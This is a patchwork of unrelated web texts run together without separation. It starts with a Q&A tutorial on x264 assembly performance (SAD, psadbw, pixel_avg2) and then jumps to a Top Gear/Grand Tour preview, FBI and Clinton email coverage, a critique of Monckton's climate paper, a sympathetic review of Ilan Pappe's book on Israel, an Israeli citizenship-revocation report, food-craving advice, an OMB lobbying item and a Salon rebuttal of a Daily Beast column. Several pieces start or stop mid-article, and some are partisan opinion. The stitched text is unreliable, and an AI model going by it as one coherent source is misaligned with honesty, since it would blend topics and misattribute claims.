<Q> Why is the lea out of order in SAD_INC_2x8P? By out of order i mean not next to each other. <A> No particular reason. <Q> So we rep the SAD for however many times so the 2x%1 is completed? <A> Yes, so if it's height 8, we rep it 4 times <Q> Why are strides not hardcoded btw? <A> SAD can be called on a reference frame thus variable stride <Q> I don't really get it... A<> It's called on frames, as opposed to some temporary block of memory.
Now, for the kicker: the 16x16 SAD function declared here is 15 times faster than C.
<Q> What? Why is it so much faster? <A> psadbw
Now let's get a bit to how we measure performance. For any asm instruction, there are three things that matter: latency, inverse throughput, and execution units. The first two are represented with notation like this: "3/1". This means a psadbw takes 3 clocks to finish from when it's started and you can do one of them per cycle. Another example is mov . Between two registers it is 1/0.33, takes 1 cycle, and you can do 3 per clock.
Execution unit usage is a bit trickier. Not all execution units can do all instructions. Intel chips have 6 execution units: p0, p1, p2, p3, p4, p5
<Q> Wait, what is latency? <A> time from start to finish, in clocks <Q> and inverse throughput and execution units? <A> Inverse throughput is how many you can do per clock. Execution units are the things in the chip that do stuff.
Of these 6 execution units, three can do math: p0, p1, p5. psadbw , for example, can only use one of these (p1), pxor can use all three.
Generally execution units aren't important until you get into serious optimizing but they can often affect the best instruction choices. For example, if an execution unit is sitting around doing nothing for a whole function.
The instruction tables sheet here http://agner.org/optimize/ has all the information on latency, execution units, and inverse throughput for a wide variety of CPUs.
<Q> How about branching? I heard branching ruins things. <A> Not generally unless it's unpredictable, branch mispredictions are the cause. We can get to a case of that later.
Now, let's just analyze SAD. Suppose we want to analyze the 8x8 SAD. In this function we do: 8 SADs, 8 adds (accumulates), 16 loads, plus the start, end, and calling overhead. 8 SADs: takes 8 cycles (inverse throughput of 1). 8 adds: takes 8 cycles (inverse throughput of 1), and can run at the same time as SADs. 16 loads: takes 16 cycles, and can run at the same time as the above.
So the loads are the bottleneck. This is an important thing to understand: it's possible for one type of operation to bottleneck a function. Loads are a common example. In this case, SAD is *so fast* that it is effectively free, as we're sitting around waiting for loads the whole time. The actual run-time of the function is about 22 clocks. Which is fitting for 16 + start + end + overhead.
So that's some basic performance analysis for you. How long the function should take in theory, how long each instruction takes in theory, and how you can be bottlenecked.
<Q> Is there anything that does this automatically for you? <A> Analysis? not really. There are Intel performance counters and such on the chip but they're not magic. It might be useful to have some kind of tool to analyze asm functions. In general though, intuition is a powerful tool.
Example 3: pixel_avg2_w16_sse2
Let's move onto something else. Open common/x86/mc-a.asm, pixel_avg2_w16_sse2 (git link). This function interpolates between two inputs, and outputs to an output. The interpolation is the simplest possible: (A+B+1)>>1
Look at the function signature above: void pixel_avg2_w4( uint8_t *dst, int dst_stride etc. This function takes inputs from src1 and src2, averages them together, and writes to dst. src1 and src2 have src_stride and dst has dst_stride.
<Q> What's the height? <A> How many lines to interpolate.
Now this function uses xmm registers (128-bit) so it does 16 bytes at a time. All 128-bit loads must be aligned unless movdqu is used. Since our inputs are unaligned, this is a lot of movdqu.
<Q> What does movdqu do? <A> Loads 128 bits from an unaligned source. <Q> What is the difference between movdqa and movdqu? <A> movdqa is for aligned data, movdqu is for unaligned data. The output is always aligned, as we control it, whereas the input is an arbitrary pointer into a reference frame and so it could be anything. <Q> Why subtract r2 from r4? <A> Ah, now here's a fun trick. We need to increment three pointers, right? src1, src2, dst. But src1 and src2 have the same stride, so they're being incremented by the same amount. So we can take src2 and represent it as an offset from src1. Then we only have to increment src1. One lea removed per iteration, bam. <Q> And use r6 as the offset + stride? <A> Yes
Look through that function and see if there's anything you don't know about and ask questions.
<Q> How do you keep track of which argument is which? <A> You can copy the description from w4 and annotate it.
; void pixel_avg2_w4( uint8_t *dst (r0), int dst_stride (r1), ; uint8_t *src1 (r2), int src_stride (r3), ; uint8_t *src2 (r4), int height (r5) );
There is also a system that can be covered later which helps you keep track of registers or, well, makes it easier to. <Q> pavgb, I assume, does some sort of averaging? <A> Yes, (A+B+1)>>1 for each pair of input pixels.
Now we come to one of the many jumps that exists in x86, jump if greater than, so if r5d > 0.
<Q> How does the jump work without a compare instruction? <A> The sub sets the same flags as a cmp. <Q> So why subtract two? <A> It handles two rows at a time.
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“F*ck!”
He’s strapped into a dune buggy dangling hundreds of feet in the air.
“What the f*ck is this?”
What the **** indeed.
Top Gear under Clarkson, Hammond and May always believed that more was more – more power, more explosions, more everything. But with the unlimited funds of Amazon at their disposal, more is now a ****-tonne more.
Much about The Grand Tour – the trio’s comeback due for release in the Autumn – remains unknown, but producer Andy Wilman brought a snippet to show at the Edinburgh Television Festival. “This is not a trailer,” he made clear, “but I put something together to show we have been busy.” From this short tease, The Grand Tour looks like the biggest, brashest, loudest, most extreme version of Top Gear imaginable.
Wilman whinged about Amazon’s ridiculous tech requirements – 4K, high frame rate, HDR – but the effect is startling. Always adventurous in style, The Grand Tour borders on breathtaking. The footage started slow – aerial shots of landscapes around the world, quiet birds in circled flight – but built to a thunderous crescendo. Riding the nose of a Maserati as it swept over a castle’s drawbridge is one of the most exciting pieces of film I’ve seen in the last year. Even if you don’t subscribe to Amazon Prime, you can expect to catch The Grand Tour on every TV at Dixons next year.
Yet money and legal agreements with the BBC aside, this was still unmistakably from the team behind Top Gear. The Maserati seemed to be part of a group test across continental Europe. The dune buggy getting hoisted was likely a race through the deserts of Namibia. And at one point we saw a classic stupid challenge, with Clarkson on a jet ski up against a racing catamaran and…May and Hammond in an old Land Rover modified to be amphibious.
(Now where have we seen that before?)
The new tent – apparently an idle thought of Jeremy Clarkson’s inspired by a scene in True Detective – may be an expensive headache to ship around the world, but it looks the part. Wilman describes it as ‘steamship like’ and it has an air of genuine glamour, folds of black silk framing a view of the South African landscape. But it is also clearly an upgraded version of the old Top Gear studio, which was in its turn an upgraded version of a boy’s treehouse. Fans will feel at home here.
And even amongst all of this money and cinematography, the schlubby trio at the centre haven’t changed at all, mocking May for breaking his arm at the pub and playing stupid pranks.
However, there is a new brashness that exceeds even their previous excesses, and an edge that wasn’t there before. At least in this preview the boys’ swearing is no longer bleeped, topless Namibians dance around Hammond’s car, and it culminates in a Hollywood style car chase with what look like real guns. We’re guessing they’re not – just think of Amazon’s insurance rates – but it’s quite an image.
Many people were worried that off the BBC’s leash and with money to make their wildest dreams come true, they might get spoiled. The hint of schoolboy nastiness soured Top Gear for some, and who could forget the dramatic saga that was Clarkson’s ousting. Hopefully they have the sense to keep this in check.
Or maybe we’re the ones getting carried away, reading too much into what was, again, a very brief glimpse of the show. We’ll have to wait until the Autumn to see if there’s still mileage in these old bangers. But does The Grand Tour look promising?
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All told, the events of the past week have dragged the FBI, a highly regarded institution whose leaders have in recent years worked to build a reputation for impartiality, into the thicket of the polarized presidential race.
"Americans now look at the FBI and see a political entity, not a nonpartisan entity - and that has huge ramifications for the FBI and for all of us," said Matt Miller, former chief spokesman for the Justice Department and a Clinton supporter. "It sows disbelief in our system of government and is hugely toxic."
On Tuesday, FBI investigators were starting to examine the newly discovered emails and trying to discern how they ended up on a computer owned by Weiner. As of Tuesdaymorning, an official said, investigators had found no sign that the computer contained "new and bigger" evidence about Clinton. But the official said the FBI was deploying "all computers, all hands on deck" to sort through the high volume of emails and that "no one knows" what the emails contain.
Meet one of the world's leading climate change skeptics.
Though he is not a scientist, Christopher Monckton, 3rd Viscount Monckton of Brentley, is a prolific and ​vocal opponent of mainstream climatology. Once a Special Adviser to Margaret Thatcher, he now spends much of his time trumpeting conservative causes. He recently claimed there has been no warming for 18 years, and penned a column blaming gay people for AIDS and explaining that homosexuals have sex with up to 20,000 partners each. Practicing scientists have called his assertions "very misleading," "profoundly wrong," and "simply false." Not long ago, the House of Lords took the "unprecedented" step of demanding Monckton stop calling himself a lord.
Now Monckton has published a study in a peer-reviewed science journal, the Chinese Science Bulletin. He claims that this work refutes the robust body of climate science agreed upon by what he calls "the extremists at the IPCC," or the Intergovernmental Panel for Climate Change, which is comprised of hundreds of the world's top climate scientists. Mainstream climate science projects that the world is heading for 3-5˚C temperature rise by the century's end. Monckton says the warming will be significantly less than 1˚C, due to errors in climate modelers' assumptions.
"The true-believers know that this paper spells doom for them," he wrote me in an email. "This paper may well mark the end of the climate scare."
But Monckton is not a climatologist—he's a journalist, a classics student, and a clever builder of math puzzles. And the study has already been harshly criticized by physicists and climate scientists. So how did he get it published in a serious academic journal? That's what Gavin Schmidt wants to know. Schmidt is the head of NASA's Goddard Institute for Space Studies, and is one of the world's leading authorities on climate change.
"I can't speak to the peer review practice at that journal," he told me in an email, "you'd need to ask them. However, the Monckton et. al paper is complete trash." Climate science is an intensely scrutinized, incredibly robust field, after all; there is a veritable mountain of evidence that supports the IPCC's claims, which each of which are fiercely pored-over themselves. In 2015, there are ​vanishingly few scientists who actually question the fundamentals of climate science.
"The model they use is not new," Schmidt continued, "and they arbitrarily restrict its parameters and then declare all other models wrong."
Which isn't surprising, given that Monckton is not a scientist. In fact, he has been repeatedly lambasted by actual scientists for distorting their research: Skeptical Science was moved to publish an entire list of scientists whose work Monckton has cited in order to claim that climate change isn't happening, and who have explicitly rejected his depiction of their work. It is a long list.
It seems unlikely that Monckton's latest study, whose most prestigious co-author is Willie Soon, a Harvard researcher whose work is amply bankrolled by oil and coal companies, will inspire their confidence. "It will be completely ignored by scientists," Schmidt says, "except as an example that, yes, you can get anything published if you try hard enough."
Therein lies the issue. Monckton's paper, which is titled Why Models Run Hot: Results of an Irreducibly Simple Climate Model, was the very first study announced in today's EurekAlert blast, the widely-read newsletter that science journalists subscribe to in order to keep abreast of upcoming studies. EurekAlert doesn't vet its stories for quality, and warns as much; and it's a fact of modern life that junk science gets vacuumed up alongside respectable research. The media is apt to treat it as such, especially outlets with a specific ideological bent.
maybe what we see happening online to the Monckton paper is a glimpse at the future of peer review: public, non-anonymous, fast, and vicious
Nobody seems to know a whole lot about Science Bulletin, which dropped "Chinese" from its name this year. It is co-sponsored by the Chinese Academy of Sciences and the National Natural Science Foundation of China, and it's published by Springer, one of the major for-profit scientific publishers. All of which to say, this isn't simply a joke science rag, though it's a far cry from Science or Nature.
Monckton insists that it was examined by three reviewers: "After a commendably short review period of just three months, the paper was accepted for publication and has now been published," he told me. "We were most impressed with the fact that the reviewers, despite initial misgivings, were willing to recognize after a closer look that we had legitimate grounds to question the official profiteers of doom."
Whoever those reviewers are, their work is now being denounced by NASA and the scientific establishment. It raises the question: How hard did they look?
Last year, a "sting" headed up by Science, in which an obviously faulty paper was submitted to 304 journals, saw nearly half accept the junk science for publication. Science targeted the open access journals that charge researchers fees for publication.I reached out to John Bohannon, PhD, the Science correspondent behind the sting, and he said that he hadn't heard of Science Bulletin, and it didn't even make it onto his radar for investigation.
Furthermore, a random-paper-generating software successfully submitted scores of papers comprised of complete gibberish to journals; two major scientific publishers had to withdraw a total of 120 studies that had already been approved as a result. One of those publishers was Springer. Monckton acknowledges that there was a publication fee, as well as an open access fee, which was covered by the Heartland Institute, an organization perhaps best known for ​displaying a billboard that compared those who believed in climate change to Charles Manson. (I have requested comment from Science Bulletin to ask about the review process for this particular paper,and will update if and when I hear back.)
"No one is happy about the state of peer review, but it's not clear what the solution will be," Bohannon told me in an email. "One possibility is to do peer review after publication, rather than before. If a paper is both important and bad science, then it will get sorted out quickly. So maybe what we see happening online to the Monckton et al. paper is a glimpse at the future of peer review: public, non-anonymous, fast, and vicious."
The entire episode is a reminder that the peer review process is in a moment of crisis, and that the science establishment is still grappling with globalization, digitization, and the proliferation of for-profit online journals. It is useful in considering how climate denial continues to trickle into the bloodstream, even when the world's top agencies all agree that humans are warming the globe, and that, as a result, last year ​was the hottest ever recorded.
Particularly, in the US and some European States, the Israeli and Zionist versions of history are wide-spread. Israel's narrative relies on a collection of myths aimed at bringing the moral right and the ethical behavior of the Palestinians into twilight and making their claim to their country appear as illegitimate. Israel's negation of Palestinian existence in the Land of Palestine is, however, a falsification of history.
"Ten Myths About Israel" came out in Germany in 2016 under the title "What's wrong with Israel? The Ten Main Myths of Zionism". The mainstream media ignored it, which could also be the case in the US. It's sad but that how media power works in favor of Israel.
Israeli historian Ilan Pappe, who lives in exile in Britain, deals in this book with the myths of Zionism and exposes them as legends consisting of half-truths and fabrications of history. The Zionist narrative has only little to do with historical reality and truth.
The "Running Gag" of the Zionist historical narrative is the story of the "empty land" of Palestine, into which people without a land had finally returned after 2000 years of exile. The slogan of a country without a people, for people without a country, is the most prominent expression of the Zionist mythology. For Pappe, it's less important whether the Jews existed as a people, rather than that the Zionists deny the existence of a Palestinian population but simultaneously claim that the State of Israel represents all the Jews of the world and does everything for their benefit and acts for them. Such a claim is just as daring as the identification of Zionism with Judaism because it takes Jews hostage for Israel's despising policy.
The Zionists presented the colonization of Palestine with biblical rhetoric; this served only as a means to an end. The highest prophet of Zionism, Theodor Herzl, even considered Uganda and other places instead of the Zionist Promised Land. Finally, they found their roots in Palestine. "From then on, the Bible became both the justification and the guideline of the Zionist colonization of Palestine," writes Pappe. He describes Zionism as a "colonial settler movement" and Israel as a "Settler Colonial State."
The author points out that the expulsion of the Palestinians in 1947/48 was "ethnic cleansing." Likewise, the 1967 June war, which is also called the Sixth Day War, was not an act of self-defense of the "little David" against an overpowering "Goliath," but an Israeli attack on which the Israeli security establishment has minutely prepared for years.
The claim of being the "only democracy in the Middle East" is put in the right perspective. Israel resembles rather an "ethnocracy" than a democracy in the classical sense of the meaning. The "peace process," which was highly praised by the Western political establishment ended in the acceleration of the colonization of Palestine and in the establishment of Palestinian regime that has to do the dirty work for Israeli occupier.
In his book, Ilan Pappe gives his backing for the historical truth that the Israeli political establishment must face if it is interested in peace. Israel's security establishment abuses Judaism because it equates its Zionist expansionist and oppressive policy with Judaism. Enlightenment is, therefore, more than a necessity, which the book does excellently by deconstructing the mythological web that surrounds the history of the State of Israel.
Activists claim the ruling, believed to be a legal first, will leave Alaa Raed Ahmad Zayoud "stateless" and may violate international laws.
But a judge said the move was a “suitable and proportional” response after Zayoud ploughed a car into a female Israeli soldier before stabbing three civilians near Kibbutz Gan Shmuel, northeast of Hadera, in October 2015.
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Zayoud was convicted of four counts of attempted murder and sentenced to 25 years in jail following the "nationalistically motivated" attack, which came during a spate of stabbings and shootings in Israel.
The government's Interior Minister, Aryeh Deri, asked Haifa Magistrates' Court to revoke his citizenship following sentencing in June last year.
On Sunday the court's deputy president Avraham Elyakim agreed to the request, according to the Times of Israel.
“For every citizen, alongside his rights, there are commitments,” he said.
“One of them is the significant and important commitment to maintain loyalty to the state, which is given expression also in the commitment to not carry out terror acts to harm its residents and their security.
Shape Created with Sketch. Remembering the Israel-Gaza conflict Show all 12 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Remembering the Israel-Gaza conflict 1/12 Remembering Israel-Gaza conflict The fire in my heart is beyond my ribs. You left me beloved - Soliman Shaheen, 15 2/12 Remembering Israel-Gaza conflict Let me get enough of you, as I’m still hungry for your smile my son - Soliman Shaheen, 15 3/12 Remembering Israel-Gaza conflict They besiege me in my homeland so I flew to heaven - Rodaina Al Agha, 16 4/12 Remembering Israel-Gaza conflict And I am still facing the pain all by myself - Lama Shakshak, 15 5/12 Remembering Israel-Gaza conflict My brother, I watched you go while my heart was tearing - Helen Mo'amar, 16 6/12 Remembering Israel-Gaza conflict My new doll is lonely in the rubble - Ayah Sha'ath, 16 7/12 Remembering Israel-Gaza conflict When a soul hugs another soul they never split, even in death - Ismail Matar, 16 8/12 Remembering Israel-Gaza conflict Everyone is gone and I stayed alone to make the world witness the injustice done to me - Hamza Shaheen, 16 9/12 Remembering Israel-Gaza conflict The hand that carries the arms carries roses too - Madeeha Al Majayda, 15 10/12 Remembering Israel-Gaza conflict My eyes tell you about a dream that overcame the fence - Soliman Shaheen, 15 11/12 Remembering Israel-Gaza conflict A childhood caught in an unjust siege - Hadeel Quidh, 16 12/12 Remembering Israel-Gaza conflict All the details are torn after you - Hamza Shaheen, 17 1/12 Remembering Israel-Gaza conflict The fire in my heart is beyond my ribs. You left me beloved - Soliman Shaheen, 15 2/12 Remembering Israel-Gaza conflict Let me get enough of you, as I’m still hungry for your smile my son - Soliman Shaheen, 15 3/12 Remembering Israel-Gaza conflict They besiege me in my homeland so I flew to heaven - Rodaina Al Agha, 16 4/12 Remembering Israel-Gaza conflict And I am still facing the pain all by myself - Lama Shakshak, 15 5/12 Remembering Israel-Gaza conflict My brother, I watched you go while my heart was tearing - Helen Mo'amar, 16 6/12 Remembering Israel-Gaza conflict My new doll is lonely in the rubble - Ayah Sha'ath, 16 7/12 Remembering Israel-Gaza conflict When a soul hugs another soul they never split, even in death - Ismail Matar, 16 8/12 Remembering Israel-Gaza conflict Everyone is gone and I stayed alone to make the world witness the injustice done to me - Hamza Shaheen, 16 9/12 Remembering Israel-Gaza conflict The hand that carries the arms carries roses too - Madeeha Al Majayda, 15 10/12 Remembering Israel-Gaza conflict My eyes tell you about a dream that overcame the fence - Soliman Shaheen, 15 11/12 Remembering Israel-Gaza conflict A childhood caught in an unjust siege - Hadeel Quidh, 16 12/12 Remembering Israel-Gaza conflict All the details are torn after you - Hamza Shaheen, 17
“We cannot allow an Israeli citizen to impact the lives and dignity of other Israeli citizens and whoever decides to so in acts of terror, removes himself from the general society of the country."
The decision was criticised by Human Rights Watch Israel and Palestine director Omar Shakir, who tweeted: "Israeli court today revoked citizenship for first time ever; Palestinian Alaa Zayoud left stateless, a violation of int'l human rights law."
Adalah, an Arab human rights group, claimed the ruling set a "dangerous precedent" and said they would launch an appeal at Israel's Supreme Court.
In a Facebook statement, the organisation said that the Supreme Court previously refused to revoke the citizenship of Jewish right-wing extremist Yigal Amir, who was jailed for life after assassinating the Israeli Prime Minister Yitzhak Rabin in 1995.
Zayoud's citizenship is set to be revoked in October, when he will be given temporary citizenship which can be extended at the discretion of the Interior Ministry when he completes his prison sentence.
The extremist, who claimed he wanted to "kill himself by killing Jews", was a resident of Umm al-Fahm, an Arab-Israeli city in the Haifa District of Israel.
His father, who is not an Israeli citizen, has been informed that the Interior Ministry will not renew his residency in the country.
Mr Deri welcomed the ruling and said: “The court decision strengthens the deterrent and strengthens our campaign to protect the security of the country.
“The decision unequivocally defines that anyone who damages the state or its citizens can’t be a part of it.”
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It's normal to crave certain foods, but make sure you don't go overboard.
Rather than berate your lack of willpower, once in a while, indulge yourself. In a 2007 Tufts University study of healthy women, 91 percent reported having food cravings (which the researchers define as an intense desire to eat a specific food). In other words, cravings are common, and the key to successful weight management, experts say, is learning to address cravings rather than always deny them.
"You first have to accept that having cravings is normal, but you don't have to give in to every one," says Tufts study coauthor Susan Roberts, PhD. "The people in our research who manage their weight the best are not those who crave foods less often but those who give in some of the time."
Trigger happy
Brian Wansink, PhD, director of Cornell University's Food and Brand Lab and author of "Mindless Eating: Why We Eat More Than We Think," has made a career of studying people's behavior relating to food. He says cravings fall into two basic categories: snacks (with potato chips, ice cream, cookies, and chocolate leading the list) and meal foods (pizza, pasta, burgers, casseroles, and the like). Which comfort food you choose can be affected by age and gender. "Women tend to crave sweet stuff, men salty stuff," Roberts says. "And premenstrual women's cravings are more likely to be insistent."CookingLight.com: Build a healthier pie with top pizza recipes
What triggers a food longing? Hormonal fluctuations are thought to be the cause in premenstrual women, though no one knows for sure, says Roberts. Other theories include a physical need for calories and emotional cues. "If you haven't eaten for hours and you're really hungry, that is a physical craving, and you should eat," says Bonnie Taub-Dix, MA, RD, CDN, spokesperson for the American Dietetic Association. Emotional yens, on the other hand, may be set off by almost anything: a song, a person, a feeling, a situation that's associated with a particular food -- any reminder can kick a hankering into gear, "even if you're not hungry," Taub-Dix says.
Although stress is a commonly cited culprit, research shows that positive events trigger cravings even more than negative feelings, says Wansink. "In one of our studies, we rigged games so that people would either succeed or lose, and we found that they ended up having a stronger craving when they won."
Health Library MayoClinic.com: Health Library
Strategies that work
Given cravings' universal nature, experts agree that "if you deny all cravings, something's going to backfire," says Wansink. If you rarely enjoy a food you crave, you're more likely to go overboard when you finally do give in. Indeed, according to the Tufts study, people who occasionally give in to hankerings manage their weight most successfully. These healthful strategies can help, too. CookingLight.com: Hot artichoke-cheese dip
Eat regularly. Waiting too long between meals can turn normal hunger pangs into an out-of-control craving. "It's hard to make a good choice when you're starving," says Taub-Dix. Her suggestion: Keep healthful options -- energy bars, skim milk, even an almond butter and jelly sandwich -- on hand to keep hunger in check. CookingLight.com: Keep cravings in check with healthy snacks to go
Delay gratification. When a craving hits, slip your mind into rational gear by saying, "not now, maybe tomorrow," suggests Roberts. Saying "later" rather than "never" may help decrease the frequency of cravings, she adds.
Keep it real. Eating an apple isn't likely to satisfy a yen for chocolate. Instead, enjoy what you really want -- in moderation. Wansink's research shows that "each subsequent taste of a food is rated as less enjoyable than the previous taste. The first bite is always the best; the second bite, second best." If you eat half of what you'd normally want, Wansink says, "your satisfaction rating [will still be] very, very high."
Practice portion control. It's easy to overeat if you munch straight from a box of cereal, for instance, or a bag of pretzels. Taub-Dix suggests portioning one-cup servings into zip-top plastic bags. "This way you won't eat to excess."
In fact, snacks are fine. The USDA Dietary Guidelines allow 100 to 300 "discretionary" calories daily (to calculate how many discretionary calories you can enjoy per day, visit MyPyramid.gov). An ounce of dark chocolate (142 calories), for example, or 1.25 ounces of baked potato chips (166 calories) fall well within that range.
Choose high-quality foods with nutritional benefits. Tapenade spread on a fresh baguette will offer salty-meaty flavor from the olives (as well as heart-healthy fatty acids) and tasty carbs from the bread. If chocolate is your weakness, go for gourmet dark chocolate, which offers beneficial antioxidants along with great flavor. If you want something creamy, try thick Greek yogurt drizzled with honey (you'll gain some calcium as well as the rich creaminess you really want).CookingLight.com: The many health benefits of chocolate.
Keep a food diary. This can help if cravings are frequent and often lead to overeating. "I suggest my patients write down what they're feeling" when they have a craving, says Taub-Dix. "It helps to transfer your feelings onto that piece of paper, and you may find you don't have to eat." Also note the types of food and even the times you eat; look for patterns so you're not caught off guard. Addressing ¬underlying issues like physical hunger or ¬boredom or stress may help people minimize cravings, says Roberts. "The idea is to live with your cravings and not let them control you."
For more tips on making healthy taste great, try Cooking Light - CLICK HERE
In a letter Tuesday to OMB general counsel Preeta Bansal, league president David Wenhold and board member Peter Mayberry called the guidance "discriminatory, arbitrary" and "harmful" to lobbyists and government officials because it could deny K Street's expertise to policymakers.
Mayberry, president of Mayberry & Associates, is a former member of an advisory committee that deals with trade issues.
In their letter, Wenhold and Mayberry argued that the prohibition should be repealed. They say the policy has "already resulted in diminished transparency" because lobbyists have likely terminated their registrations in order to keep serving on the committees.
The Obama administration has defended the policy by saying it is necessary to help reduce the influence of lobbyists in Washington. Administration officials have argued lobbyists should not be allowed to serve on advisory committees, given the potential conflicts of interest.
Some lobbyists argued for a waiver process, similar to the one included in President Obama's executive order that banned lobbyists from serving in his administration, but the White House has rejected that suggestion.
In 2009, the White House asked federal agencies to refrain from appointing lobbyists to their advisory committees. Earlier this year, they asked for formal guidance on the policy from OMB.
Public comments responding to the OMB guidance are due by Dec. 2.
There has been no dearth of lies spread about left-wingers who refuse to obediently march behind Hillary Clinton in this election cycle, from the ludicrous "Bernie bro" trope to the McCarthyite "Kremlin shill" smear and beyond.
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The myth that leftists are planning to support the far-right, demagogic GOP candidate to "heighten the contradictions" in society is precisely that — a myth. It is not just an intentional misreading of Lenin; it is a bold-faced lie.
But it just won't die.
Clinton-supporting neoconservative pundit James Kirchick published an article in The Daily Beast this week titled "Beware the Hillary Clinton-Loathing, Donald Trump-Loving Useful Idiots of the Left."
"There may be no weirder phenomenon than the rise of the progressive Donald Trump supporter," Kirchick began the piece.
He proceeded to name more than a dozen left-wing writers, journalists and scholars who criticize the militaristic U.S. foreign policy he and Clinton share, falsely calling them "Trump’s left-wing admirers."
Salon reached out to everyone targeted in the piece. Not a single one "loves" Trump, despite the headline, nor do any "admire" him.
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(The writers' responses to Kirchick's hit piece follow in full below.)
Fourteen writers were singled out as supposed Trump aficionados. Thirteen of them told Salon they do not support Trump.
Many of the writers said they were "smeared." Historian Jeremy Kuzmarov called Kirchick's article "an atrocious, McCarthy-type smear job."
Russia scholar Stephen Cohen accused Kirchick of using "McCarthy-like slurs" in order "to shut off any substantial debate about foreign policy."
Washington Post reporter Ishaan Tharoor described "Kirchick’s smear" as "pathetic and laughable."
Journalist Rania Khalek added, "The suggestion that I harbor admiration for Trump is an incredible smear." She noted that she has written at length how "Trump is an unhinged and dangerous demagogue who is whipping up fascist sentiments that should concern us all."
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Kirchick is just the latest in a long line of pundits in this election cycle who have (maliciously or not) conflated criticism of Clinton with support for Trump.
Many of the individuals Kirchick cited have voiced legitimate grievances with Clinton's extremely hawkish foreign policy, and, in some cases, have even agreed with Trump on a specific issue or two — although certainly not with the bulk of his policies. But Kirchick has unfairly used these few points of agreement to tar them with the blanket label of Trump "fans," "admirers" and "defenders" — a characterization they disavow with near-uniformity.
In fact, just one of the 14 writers mentioned in the article, Christopher Ketcham, said he will vote for Trump — and not because he "loves" or "admires" him, but precisely because he says the GOP nominee "is an ignorant, vicious, narcissistic, racist, capitalist scumbag, and thus an accurate representative of the United States."
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The other 13 disagreed with Ketcham. Journalist Stephen Kinzer called Trump one of "the most destructive politicians to emerge in the modern United States, although the competition is stiff."
Pulitzer Prize-winning journalist Glenn Greenwald said Trump opposes everything he has devoted his career to defending, such as "civil rights for Muslims and adherence to the laws of war."
The Nation publisher Katrina vanden Heuvel likewise stressed that the U.S. needs a new foreign policy, but called Trump "the worst messenger for that alternative foreign policy."
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Kirchick did not reach out to any of these writers for comment.
To be clear, Kirchick is by no means neutral in this debate; he has an axe to grind. In June, Kirchick penned another column in The Daily Beast in which he endorsed hyper-hawkish Democratic presidential candidate Hillary Clinton.
Kirchick favorably called Clinton "the clear conservative choice" and "the candidate of the status quo, something that conservatives, by definition, are supposed to uphold."
Several of the people attacked in his latest article told Salon they think the piece by Kirchick, whom one called "a professional liar," is clearly politically motivated — part of a "concerted media campaign to advance Hillary Clinton to the White House" by using "the obviously false premise that anyone who criticizes Clinton is pro-Trump."
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It also bears mentioning that Kirchick, for whom "anti-imperialist" is a dirty word, is paid by the U.S. government. He is included in the USASpending database, which says he received $10,000 from the Broadcasting Board of Governors in 2015. After this article was published, however, Kirchick told Salon that he was paid $1,000, not $10,000, adding, "I imagine USASpending reports payments in increments, and that $10,000 is the lowest."
The Broadcasting Board of Governors is an independent propaganda agency of the U.S. government that says its goal is to pursue a "mission vital to U.S. national interests: inform, engage, and connect people around the world in support of freedom and democracy." It oversees Voice of America, where Kirchick writes columns that vilify left-wing leaders Bernie Sanders and Jeremy Corbyn, condemn Donald Trump and Vladimir Putin and applaud NATO.
Salon reached out to Kirchick for comment. He replied, "I’m just going to quote my own article to you, as it appears you haven’t read it."
He cited a passage from his article: "Unlike the aforementioned wannabe revolutionaries, most of these progressives haven’t endorsed Trump. But they nonetheless embrace the radical departure in American foreign policy that his presidency promises."
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Salon asked Kirchick numerous detailed questions, pointing out that 13 of the 14 writers he named oppose Trump.
"The piece stands for itself," Kirchick said, refusing to answer. Salon asked if he could comment any further. "Nope," he wrote back.
Salon also reached out to The Daily Beast with a request for comment. Harry Siegel, a senior editor, replied, "The Daily Beast’s columnists run the gamut from liberal to libertarian."
He cited the exact same two-sentence passage highlighted by Kirchick, adding, "We understand that the figures whose comments are quoted in his column find it controversial; readers can judge for themselves."
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The article is not as nuanced as Kirchick and The Daily Beast implied in their statements, however. In fact, in the very same paragraph Kirchick and Siegel cited to Salon, Kirchick falsely described the left-wing writers he criticized as "progressive Trump fans, subtler in their sympathies."
After briefly and very weakly conceding that these writers have not actually endorsed Trump, Kirchick still went on to misrepresent their views, calling them "Trump’s left-wing admirers" and "the candidate’s progressive fans" a few paragraphs later. Kirchick later continued to dub them "progressive Trump defenders" and "the Republican nominee’s left-wing sympathizers."
In his piece, Kirchick loosely delineated two groups: "wannabe revolutionaries" who supposedly will vote for Trump, and "progressive Trump fans" who have not endorsed him.
Three people were named in the first group. Just one of these, freelancer Christopher Ketcham, who penned the piece "Anarchists for Donald Trump—Let the Empire Burn," is actually going to vote for Trump — and not because he likes him in any way, but rather because, with a Trump presidency, "the veil would be off the monstrousness of the empire."
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Writer Walker Bragman, another of the three ostensible Trump endorsers (whom Kirchick also misidentified as "Walter"), in fact strongly opposes Trump. Bragman told Salon he is voting for Green Party presidential candidate Jill Stein, and pointed out that, in an interview on CNN, he called Trump an "intolerable" choice.
The third person Kirchick named is not a writer, journalist or scholar; it is actress Susan Sarandon, the 15th person targeted in the piece. Salon was unable to reach Sarandon for comment, yet she has publicly stressed multiple times, "I’m absolutely not voting for Trump."
"I said some people think Trump would bring revolution faster," Sarandon explained on Twitter, referencing her now infamous MSNBC interview, which Kirchick cited. "I am not voting Trump."
In fact, when Bernie Sanders was running, Sarandon constantly emphasized that one of the best reasons to support him was because poll after poll showed he would beat Trump by a much bigger margin than Hillary Clinton.
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Twelve more writers are named in the what Kirchick calls the "subtler" group of "progressive Trump fans." Not a single person in this group is a "fan," nevertheless.
The Intercept reporter Zaid Jilani, whom Kirchick dubbed one of the "progressive Trump defenders," bluntly told Salon, "I am not a Trump supporter," and characterized the GOP leader as a bigoted troll.
Salon columnist Patrick Lawrence (who sometimes writes under the name Patrick L. Smith) stressed, "James Kirchick gets no further than labels and name-calling."
Sherle Schwenninger, of the New America Foundation, said, "I do not support Trump or Clinton." He also pointed out that his think tank, which Kirchick incorrectly described as "left-wing," is actually non-partisan.
Political scientist Corey Robin characterized Kirchick as a dishonest inventor of stories.
The New Republic editor Jeet Heer told Salon Kirchick's piece is "built on the obviously false premise that anyone who criticizes Clinton is pro-Trump."
To review, then, 14 of the 15 people smeared in Kirchick's article as Trump "fans" actually oppose Trump.
Yet The Daily Beast has helped spread the myth. On social media, the publication describes the Trump opposers as "Trump supporters."
